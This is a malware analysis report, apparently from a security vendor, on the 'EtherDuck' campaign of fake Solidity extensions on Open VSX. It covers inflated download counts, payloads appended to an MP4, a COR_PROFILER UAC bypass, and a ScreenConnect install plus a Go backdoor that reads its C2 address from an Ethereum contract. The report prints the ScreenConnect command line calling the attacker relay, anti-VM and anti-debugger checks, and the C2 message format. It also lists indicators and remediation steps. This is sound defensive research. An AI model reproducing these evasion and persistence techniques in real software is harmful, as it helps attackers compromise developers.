SleepyDuck is back. Nearly a year after a fake Solidity extension used Ethereum for resilient command-and-control, and months after another fake Solidity extension delivered ScreenConnect through a strikingly similar chain, Pluto detected the campaign’s newest evolution: EtherDuck.

The operator’s calling card has remained remarkably consistent. Across the documented waves, the campaign impersonated Solidity development tooling and carried the same duck ASCII art. The delivery chain, however, became more capable: manipulated marketplace rankings, payloads for Windows, macOS, Linux, x64, and ARM64, malware hidden inside a valid video file, Ethereum-based C2 configuration, and anti-sandbox and anti-debugger checks.

Pluto detected and reported two EtherDuck waves, and Open VSX removed each after approximately 19 hours. That rapid response materially limited the time the extensions were available. But the second wave appeared within hours of the first takedown, under new publisher identities and carrying the same payloads. The listings disappeared; the operator, tooling, and command infrastructure did not.

SleepyDuck is back, and EtherDuck is its latest evolution.

  • We assess with high confidence that this is the same actor behind the earlier SleepyDuck and ScreenConnect campaigns. Across the documented waves, the operator targeted Solidity developers through fake extensions and reused the same duck ASCII art, startup activation, persistence techniques, anti-analysis behavior, and Ethereum-based C2 configuration. The spring and September 2026 waves also used the same contract and byte-identical Go payloads.
  • Four fake extensions impersonated widely used Solidity and Hardhat tooling. The operator inflated their displayed download counts by 300k+ in a single day to outrank the genuine listings in search.
  • One installation established persistent remote access across major developer platforms. Windows victims received ScreenConnect after an elevation chain; macOS and Linux victims received a persistent shell that used an Ethereum smart contract as a resilient C2 address book.
  • The payloads were designed to evade ordinary inspection. They were hidden in an archive appended to a real 205 MB video, and unpacked only at runtime.
  • Pluto detected and reported both waves quickly, and Open VSX reacted quickly to each report. Each wave of malicious extensions remained live for only approximately 19 hours before its listings were removed.
  • Each removal contained a wave, but it did not disrupt the campaign. The operator returned within hours under new identities, carrying the same payloads, this time with anti-sandbox and anti-debugger checks added.

SleepyDuck’s Evolution

EtherDuck is the latest visible stage of an evolving campaign, not an isolated extension. The implementations and infrastructure changed between waves, but the target, delivery surface, operating model, and operator signature remained consistent.

Campaign What remained consistent What evolved
SleepyDuck, November 2025 Fake Solidity tooling on Open VSX, duck ASCII art, editor-based activation, sandbox evasion, and an Ethereum contract for C2 resilience A command-execution RAT polling a conventional C2, with the contract acting as fallback configuration
ScreenConnect campaign, January 2026 Fake Solidity extension, duck ASCII art, startup activation, and persistence ScreenConnect delivery, Windows elevation, and macOS/Linux persistence
evjawbreaker wave, April–July 2026 Fake Solidity extensions, startup activation, cross-platform persistence, and Ethereum-based C2 configuration The exact contract and byte-identical Go payloads later used by EtherDuck; one extension remained available through TRAE after its Open VSX removal
EtherDuck, September 2026 Same target population, impersonation strategy, duck calling card, ScreenConnect, and Ethereum-based configuration Four cross-platform payload builds, payloads hidden in an MP4, two publisher identities, and expanded anti-analysis checks

The repeated duck ASCII art is an unusually specific link when combined with the same marketplace, target population, impersonation theme, blockchain-based C2 configuration, and anti-analysis behavior. Although the contracts, network infrastructure, and implant implementations changed between operations, we assess with high confidence that EtherDuck is another campaign by the same actor.

Why One Install Could Become an Organization-Wide Compromise

A Solidity developer’s workstation is more than an endpoint. It is often a control plane for source repositories, build pipelines, cloud infrastructure, package registries, wallets, and smart-contract deployments. Once an operator has persistent desktop or shell access, they inherit the developer’s position inside each of those systems.

That access exposes Git and SSH credentials, cloud CLI sessions, CI/CD tokens, .env files, package-publishing credentials, wallet keystores, private keys, and contract deployment or upgrade authority. It creates opportunities to modify source code, poison builds, move laterally into infrastructure, publish compromised packages, and authorize malicious on-chain activity.

The campaign was built to reach that position across almost any developer workstation. It carried a Windows payload plus macOS and Linux payloads for both x64 and ARM64. On Windows it installed persistent unattended desktop access; on macOS and Linux it installed a persistent interactive shell. Removing the extension listing stopped new downloads, but it did not remove either payload from machines where it had already executed.

The Bait: A Search Result Built to Win

juanblanco.solidity provides the syntax highlighting, compiler diagnostics, and language server that most Solidity developers depend on to write Ethereum smart contracts in VS Code. That’s earned it roughly 1.8 million installs on the Marketplace. The fake listing borrows that reputation in two ways, and both are visible on the search page itself. First, the display name: in Open VSX search results and on the listing page itself, the fake extensions show up with the identical display name to the real ones. Only the unique publisher identifier underneath (alejandroaranda.solidity-languini vs. juanblanco.solidity, later juanfranblanco.solidity-vscode and Nomic-ETH.hardhat-solidity) reveals the difference, and that’s not what a developer scanning results looks at. Second, the download count: Open VSX’s download-count endpoint is unauthenticated and never verifies that a “download” became an install, so the actor simply scripted requests against their own listings until the counter said what they wanted.

Faking a download count to climb the marketplace search rankings isn’t new. We flagged the same play in Count Dooku, where dozens of copycat listings across Open VSX used inflated numbers to look legitimate. In EtherDuck, the operator paired that ranking abuse with the evolved cross-platform payload chain described below.

Genuine extension Fake listing
juanblanco.solidity ~107,000 downloads (lifetime) juanfranblanco.solidity-vscode: ~428k in ~24 hours
NomicFoundation.hardhat-solidity ~98,000 downloads (lifetime) Nomic-ETH.hardhat-solidity: ~347k in ~24 hours
Fake Open VSX listing impersonating NomicFoundation.hardhat-solidity
The hardhat-solidity impersonation listing.
Fake Open VSX listing impersonating juanblanco.solidity
The juanblanco.solidity impersonation listing.

So the developer sees a search page where the fake outranks the real one on the only number they had to judge it by. Nothing has run yet, and the fake listing has already won.

The Trojan Horse: A Video File That Isn’t Just a Video

The install finishes in seconds, same as any other extension. Open the VSIX package that just landed on disk, though, and nothing looks alarming: a couple of JavaScript files and The Duck Song.mp4, 205 MB, a real, playable video. A scanner that only looks at what’s bundled sees a webview extension with an oversized asset. The extension’s own code disagrees. On activation (onStartupFinished, so install alone is enough) it spawns a detached, hidden Node process and hands it that exact video file as an argument. That is the whole trigger, reconstructed here from out/components/autoUpdate.js:

function attemptUpdate() {
  if (isDeployComplete()) return;
  runBundledSync("The Duck Song.mp4");
}

What runs next reads past the video content to a custom archive appended after it, in three layers: a magic marker (NYANSTEG) inside a standard MP4 padding box, a token-substituted Base64 blob (NYANB64X, 64 multi-character tokens standing in for the 64 base64 characters, enough to dodge naive string detection), and a small container format (NYANARCH) listing each file by name, size, and SHA-256, every hash verified before a byte touches disk. There’s no pixel manipulation involved. The video file is simply a shipping container, with a second file sewn onto the end that ordinary tooling never looks for, and there is far more container than video: only the first 3.8 MB of that 205 MB is footage. The other 201 MB is the appended archive, bloated to five times the 37.6 MB it actually carries by that token substitution. An extension shipping a 205 MB video is odd enough on its own, but 98% of the file being something other than video is the real giveaway. The NYAN prefix on all three markers is a Nyan Cat reference, the first of several small jokes the operator leaves in the payload.

The actual video from the original extension, stripped of the malware.

The archive carries a payload for every platform it might land on, and the launcher picks the right one for the victim’s machine: it checks the OS and CPU architecture, writes only the matching file to disk, and discards the rest. A Windows machine gets a PowerShell loader and an MSI installer; a Mac or Linux machine gets one of four pre-built Go binaries. Here’s where each path leads:

Diagram of the full attack chain: install triggers payload selection, then splits into a Windows path (PowerShell loader, COR_PROFILER UAC bypass or ClickFix prompts, ScreenConnect install) and a macOS/Linux path (Go binary, anti-VM check, Ethereum smart contract lookup, persistent shell), both ending in attacker control
The full chain, from install to attacker control, on both platforms.

Seven files come out of that container, matching the boxes above:

  • invoke.ps1: the Windows loader, AMSI-aware, carries the UAC bypass
  • app.msi: the Windows payload, a ScreenConnect RAT installer
  • darwin_arm64 / darwin_amd64 / linux_amd64 / linux_arm64: four builds of the same Go backdoor
  • note.txt: bait, never referenced by any code path
Three VirusTotal reports comparing detection across the Windows, Linux ARM64, and macOS x64 payloads
VirusTotal detection at the time of analysis, from left: Windows app.msi (11/62), Linux ARM64 backdoor (2/57), and macOS x64 backdoor (1/62).

note.txt is never written or read by any code. It exists purely for whoever extracts and opens it by hand:

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠿⠿⠷⣶⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⢀⣀⡀⠙⣷⡀⠀⠀⠀
⠀⠀⠀⡀⠀⠀⠀⠀⠀⢠⣿⠁⠀⠀⠀⠘⠿⠃⠀⢸⣿⣿⣿⣿
⠀⣠⡿⠛⢷⣦⡀⠀⠀⠈⣿⡄⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⠟
⢰⡿⠁⠀⠀⠙⢿⣦⣤⣤⣼⣿⣄⠀⠀⠀⠀⠀⢴⡟⠛⠋⠁⠀
⣿⠇⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠈⣿⡀⠀⠀⠀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀
⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡇⠀⠀⠀
⠸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠀⠀⠀⠀
⠀⠹⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣰⡿⠁⠀⠀⠀⠀
⠀⠀⠀⠉⠙⠛⠿⠶⣶⣶⣶⣶⣶⠶⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀

you found an easter egg
congratulations

your prize is nothing

One Install, Two Paths: What Happens on the Victim’s Machine

From here, the two paths diverge completely, following the chain in the diagram above. Windows installs a persistent ScreenConnect client after elevating through a UAC bypass or ClickFix-style prompt loop. macOS and Linux get a persistent shell that uses an Ethereum smart contract as a resilient C2 address book. Both end the same way, with the attacker in control of the machine.

Windows: A Fake .NET Profiler That Ends in Real Remote Control

invoke.ps1 is a loader, not the payload. It unpacks a second script, hidden inside it as a Deflate-compressed blob, and hands control to that instead. The outer loader keeps watching that script’s output the whole time: if Defender or AMSI kills it mid-run, the loader notices immediately, launches calc.exe, deletes the evidence, and quits. The calculator is a decoy, and it matters when it fires: only once something has already caught the script, which is exactly when someone is likely to be watching. A developer who saw a window flash open during an extension install, or an analyst reading back the process tree, gets handed a harmless explanation for the odd behaviour they just noticed. It looks like a throwaway test rather than a payload that got blocked, which gives whoever is looking a reason to stop looking and leaves the real purpose hidden.

If it survives that, the inner script checks what it can already get away with:

  • Already an elevated admin? Run the payload directly, no tricks needed.
  • Local admin, but not elevated yet? Skip the UAC prompt entirely with a documented bypass called COR_PROFILER.
  • Standard user? Fall back to a ClickFix-style elevation loop, repeatedly presenting a genuine UAC prompt until the victim clicks “Yes.”

COR_PROFILER is the interesting one. It drops a DLL to disk, points .NET’s own profiler environment variables at it, and opens a Microsoft Management Console snap-in, one of the tools Windows auto-elevates without ever showing a prompt. MMC is a .NET application, so the instant it launches fully elevated, it loads that DLL. No dialog, no click. This is technique #39 in UACMe, the public catalog of Windows UAC bypass methods, and the malware’s own filename admits it: uac39-inner-<guid>.ps1.

However it gets there, once elevated the loader excludes its staging directory from Microsoft Defender, silently installs the real payload via msiexec, and then removes the Defender exclusion, staging directory, scripts, and launcher.

What’s left behind is a real, legitimate remote-access product, ScreenConnect, configured to phone home on its own:

ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=185.232.84.169&p=8041&s=0d97785f-30c3-4ec8-b408-569362f31ed0&k=<RSA relay key>"

e=Access is ScreenConnect’s own name for a full, unattended remote-desktop session, not a limited support tunnel. It runs as a Windows service, so whoever holds the other end of 185.232.84.169:8041 has the same access a local user would, and it survives reboots.

macOS/Linux: A Backdoor That Keeps Its C2 Address on the Blockchain

The non-Windows path skips the elevation fight entirely and goes straight for persistence. The matching Go binary lands at ~/.solidity/<os>_<arch>, made executable, with a LaunchAgent or systemd service to relaunch it at every login. On macOS it also strips its own quarantine flag first, so Gatekeeper never gets a chance to warn anyone.

Before it does anything else, it checks whether it’s being watched: a debugger’s tracer PID, a hypervisor flag, VirtualBox/QEMU markers on disk, known analysis tools running, sandbox fingerprints in hostnames like any.run or hybrid-analysis. If everything looks clean it carries on. If it doesn’t, the binary exits without writing a thing, leaving an analyst nothing to look at.

Even stripped, the binary gives away more than it means to. Go keeps its module structure in an internal symbol table, and recovering it shows the actor named their own project evjawbreaker, with JAWBRK as the shorthand they wrap around every command’s output on the wire. That says nothing about how the malware works, but it does tell us what the author called it.

Then it goes looking for its command server, and there isn’t one hardcoded anywhere. No string in any of the four builds contains a plaintext C2 IP, hostname, or domain. Instead, it makes a read-only call to an Ethereum smart contract. Here are the live values, which anyone can resolve through a public RPC with no wallet, no gas, and no transaction of their own:

contract   0xf8a900Db50b3331be6B768bA460BB59f3E40C344
owner      0xfd3fc58bcbd8ccc77b6000201438edfc636e7ca7
param1     193.57.9.17:4912
param2     http://107.189.27.46:3000/app.js

The owner address is the only account that can change any of it. param1 is what the backdoor dials. param2 points at a second URL that no shipped payload references and that wasn’t serving anything when we looked. Its purpose remains unknown. We did not observe the payload retrieving it, although the contract owner retains the ability to change it at any time.

This is the technique Google’s Threat Intelligence Group named “EtherHiding”: using a public smart contract as a C2 address book. The contract removes the disposable domain or hosting dependency defenders would normally seize. With a single transaction, the operator can repoint the implant fleet to new infrastructure without rebuilding or republishing the malware. The backdoor reads the contract through a public RPC endpoint, trying one of eight hardcoded free gateway services in turn, with no wallet or API key needed. Ethereum RPC traffic also blends naturally into a Solidity developer’s normal activity.

Etherscan view of the transaction that set param1 on the config contract, input data decodes to the plaintext string 193.57.9.17:4912
The on-chain transaction that sets the C2 address in its parameters. The input data field decodes directly to 193.57.9.17:4912.

The Blockchain Records the Campaign’s Timeline

The contract’s transaction history provides an immutable, independently verifiable record of the operator’s infrastructure changes. Correlated with extension publication dates and payload analysis, it shows that EtherDuck was not assembled in September. It was the latest distribution wave of infrastructure and malware staged months earlier.

On-chain activity (UTC) Correlated campaign activity What it shows
March 14, 2026: contract deployment, followed by two configuration changes The first known extension using this control plane appeared roughly seven weeks later The operator staged and tested the on-chain control plane well before distribution
March 28–29: three additional changes By April 30, a public analysis had identified juunfranbIanco.solidity carrying the evjawbreaker implants and querying this contract The malware and its resilient C2 infrastructure were in place before the first publicly documented distribution wave
May 3 and May 16: two updates juannegro.solidity had been published on Open VSX on May 1 and remained downloadable through TRAE as late as July 18 The operator rotated the live campaign’s C2 configuration without rebuilding or republishing the extension
July 31: another configuration change We found no publicly reported distribution wave linked to this transaction The operation remained active between the spring and September waves, although the associated distribution channel is unknown
September 23–24: the final two known changes to the contract They landed approximately 25 hours and six hours before alejandroaranda.solidity-langsupport and alejandroaranda.solidity-languini went live The operator reconfigured the same control plane immediately before the EtherDuck launch

The spring extensions carried the same four Go payloads found in September, byte for byte. Together with the shared contract, that makes EtherDuck a new distribution wave of an existing operation, not merely a similar campaign. Marketplace identities and extension names changed; the implant and its control plane survived.

Address in hand, the backdoor connects over TLS, registers itself with the operator’s “hub,” and waits. The hub can only send one kind of message, a base64-encoded shell command, and gets the output back the same way:

hub -> implant
{"type":"command","message":"<base64-encoded shell command>"}

implant -> hub
{"type":"commandResult","stdout":"...","stderr":"...","exitCode":0}

Every command runs inside the same shell, kept open for the whole session rather than spawned fresh each time, built on github.com/creack/pty, a public pseudo-terminal library and the binary’s only third-party dependency. That’s the entire capability: no file-transfer opcode, no screenshot command, no plugin loader. Grabbing a wallet file or exfiltrating an .env is just more commands typed into that same shell.

All of that comes out of one fake download. On Windows it ends in a persistent remote-desktop session; on macOS and Linux, in a live shell whose C2 address comes from a smart contract. Neither path needed anything from the developer beyond clicking “Install.”

Round Two: Taken Down, and Back Within Hours

We reported both alejandroaranda listings to Open VSX, and both came down. Within hours, the campaign was back under a new publisher account (dbolovetoa), with two new listings: juanfranblanco.solidity-vscode, an even closer copy of the real extension’s name, and Nomic-ETH.hardhat-solidity, now going after Hardhat’s users too. Within a day they showed ~428,000 and ~347,000 downloads, the same trick working a second time.

Diffing the new packages against the originals showed almost nothing had changed: same ScreenConnect installer, same four Go backdoors, same taunt file, byte-for-byte. The one addition was 129 new lines at the top of the runner script, lang-resource-sync.js:

function isVirtualMachine() {
  return checkForVendorStrings(["VMware", "VirtualBox", "QEMU", "Parallels", "KVM"]);
}
function isDebugged() {
  return runningProcessesInclude(["x64dbg", "OllyDbg", "windbg", "ida", "procmon",
                                   "ProcessHacker", "Wireshark", "Fiddler", "dnSpy"]);
}
function shouldSkipInstall() {
  return isVirtualMachine() || isDebugged();
}

if (shouldSkipInstall()) return;

An anti-analysis gate: on a VM, or next to a debugger, packet sniffer, or reverse-engineering tool, the dropper walks away silently, nothing written, nothing to catch. It didn’t help. Matching hashes on everything else gave the campaign away within minutes.

A Takedown Is Containment, Not Disruption

Open VSX’s rapid response mattered. Removing each wave after approximately 19 hours cut off the operator’s active distribution channel and prevented the listings from remaining available indefinitely. But removing an extension and disabling its publisher account does not, by itself, dismantle the campaign behind it.

The operator retained the payloads, packaging code, C2 servers, Ethereum contract, contract-owner account, and access to replacement publisher identities. Within hours, the same malware returned under different names. From the attacker’s perspective, the cost of the takedown was a new account and a repackaged listing, not the loss of the operation.

We have seen this pattern outside SleepyDuck as well. After the original Nebula-Deck extensions were removed, Nebula-Deck Junior returned behind new branding with the same delivery kit, rotated infrastructure, and a different payload. The extension was disposable; the operator’s underlying capability was not.

Marketplace takedowns are therefore necessary containment, but treating them as campaign disruption is the mistake. An effective response must cluster related payloads and publisher identities, search retroactively for other listings built from the same kit, warn users with previous installations, and pursue the infrastructure and accounts that remain useful after the listing disappears.

Publisher Infrastructure

Neither publisher account is a fresh sock puppet built for this campaign. Both janeykomit and dbolovetoa are GitHub accounts registered back in 2017, then padded years later, in a single sitting, with filler repositories: janeykomit‘s 14 repos are all named things like DataAnalyzer-2353 and AIChatBot-4253, generated within a three-day span in early 2025 and labeled by GitHub itself as “Bot-generated repo.” dbolovetoa‘s 47 repos are forks of popular open-source AI/ML projects (pytorch, diffusers, llama.cpp, cloudflare-docs), all forked within minutes of each other in one session. Neither account looks like a real contributor’s. They look aged, bought or compromised, then dressed up just enough to clear the “new account” suspicion before being used to publish malware.

If This Was Installed: What to Do Right Now

If a machine has, or ever had, alejandroaranda.solidity-languini, alejandroaranda.solidity-langsupport, juanfranblanco.solidity-vscode, or Nomic-ETH.hardhat-solidity installed, treat it as compromised, not just “at risk.” The payload runs on activation, before a developer does anything with the extension’s fake UI.

  • Disconnect the machine from the network first. Both C2 channels (the ScreenConnect relay and the Go backdoor’s persistent shell) need an active connection to do anything. Cutting it stops a command from arriving mid-response.
  • Uninstalling the extension does not remove the malware. By the time you can see the extension in VS Code, it has already installed a Windows service or a Mac/Linux background process that runs completely on its own, outside VS Code. Deleting the extension leaves that service or process running.
  • On Windows, check Services for ScreenConnect Client (5cbe79c9c25524df) and the folder C:\Program Files (x86)\ScreenConnect Client (5cbe79c9c25524df)\. If present, assume an operator has had full interactive desktop access, not just code execution, for as long as it’s been running, and rebuild the machine rather than trying to clean it.
  • On macOS/Linux, check ~/.solidity/, ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, and ~/.config/systemd/user/solidity-langsupport-runner.service. If any exist, assume the operator has already run arbitrary shell commands as that user. Pull recent process history and treat every credential that user’s shell could reach (SSH keys, cloud CLI tokens, wallet keystores, .env files) as exposed.
  • Rotate everything that machine had access to, prioritizing wallet private keys/mnemonics, deployment keys, and smart-contract-related secrets first. Given who this campaign targets, those are exactly the secrets it’s after.
  • Hunt by network indicator, not by extension name. The re-upload wave proves the operator will ship an identical payload under a completely different publisher and extension name. Egress to 185.232.84.169:8041, 193.57.9.17:4912, or repeated eth_call traffic to contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 from a developer machine is a stronger signal than any single extension identifier.
  • For the org going forward: don’t let install/download counts substitute for real publisher vetting. This entire campaign’s search-ranking advantage was fabricated through an unauthenticated counting endpoint. Prefer extensions with a genuine linked repository and a real publisher history, and if extensions are centrally allowlisted, block by publisher account and payload hash, not by extension name alone.

Conclusion

Open VSX’s response was fast: both EtherDuck waves were removed after approximately 19 hours. But the speed with which the actor returned shows the difference between removing a listing and disrupting a campaign.

SleepyDuck has now survived multiple publisher identities, extension names, payload implementations, and infrastructure changes. The duck ASCII art stayed the same; the delivery chain became more capable. As long as the response ends with deleting the current listing and publisher account, the operator can retain everything that matters and return through another disposable identity.

Extension marketplaces need to treat the campaign, not the individual package, as the unit of response. That means clustering related code and payloads across publishers, identifying the infrastructure and accounts behind them, notifying previous installers, and hunting for the next listing before it reaches the top of search. The listings are disposable. The operation behind them is not.

Timeline

When What
Sep 24, 2026, ~23:42 UTC alejandroaranda.solidity-languini and alejandroaranda.solidity-langsupport publish under publisher janeykomit
Sep 25, 2026 We report both listings to Open VSX
Sep 25, 2026, 18:35 UTC Open VSX confirms both alejandroaranda listings are removed. They were live for roughly 19 hours.
Sep 25, 2026, ~22:20 UTC Our scanning flags the re-upload wave, published under a new publisher, dbolovetoa
Sep 25, 2026, ~22:40 UTC The re-upload’s final versions, juanfranblanco.solidity-vscode 0.0.191 and Nomic-ETH.hardhat-solidity 0.9.3, publish about 20 minutes after that flag
Sep 26, 2026 We report both re-upload listings to Open VSX
Sep 26, 2026, 17:35 UTC Open VSX confirms both re-upload listings are removed, roughly 19 hours after we first flagged them

Indicators of Compromise

Extension identifiers

alejandroaranda.solidity-languini @ 0.9.2 (Open VSX)
alejandroaranda.solidity-langsupport @ 0.0.6 (Open VSX)
juanfranblanco.solidity-vscode @ 0.0.189 / 0.0.190 / 0.0.191 (Open VSX, re-upload)
Nomic-ETH.hardhat-solidity @ 0.9.2 / 0.9.3 (Open VSX, re-upload)
Publisher GitHub accounts: janeykomit (campaign 1), dbolovetoa (re-upload)
Impersonates: juanblanco.solidity, NomicFoundation.hardhat-solidity

Payload hashes (SHA-256, shared across both waves)

app.msi (ScreenConnect installer):  7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da
invoke.ps1 (loader):                37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e
darwin_amd64:                       80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f
darwin_arm64:                       fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358
linux_amd64:                        9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696
linux_arm64:                        b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565
note.txt (taunt):                   683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8

Network

185.232.84.169:8041                 ScreenConnect relay (Windows)
193.57.9.17:4912                    Go backdoor C2 (macOS/Linux)
http://107.189.27.46:3000/app.js    Staging URL in contract `param2` (unreferenced, not serving during analysis)
0xf8a900Db50b3331be6B768bA460BB59f3E40C344   Ethereum config contract (EtherHiding-style)
0xfd3fc58bcbd8ccc77b6000201438edfc636e7ca7   Owner EOA (only account that can rotate C2)

Host artifacts

~/.solidity/                                                (macOS/Linux payload + wrapper)
~/Library/LaunchAgents/com.solidity.langsupport.runner.plist
~/.config/systemd/user/solidity-langsupport-runner.service
C:\Program Files (x86)\ScreenConnect Client (5cbe79c9c25524df)\
%TEMP%\uac39-<guid>\profiler.dll
%TEMP%\solidity-langsupport-debug.log
Shell markers: __JAWBRK_EC__ / __JAWBRK_DONE__
Archive magics: NYANSTEG / NYANARCH / NYANB64X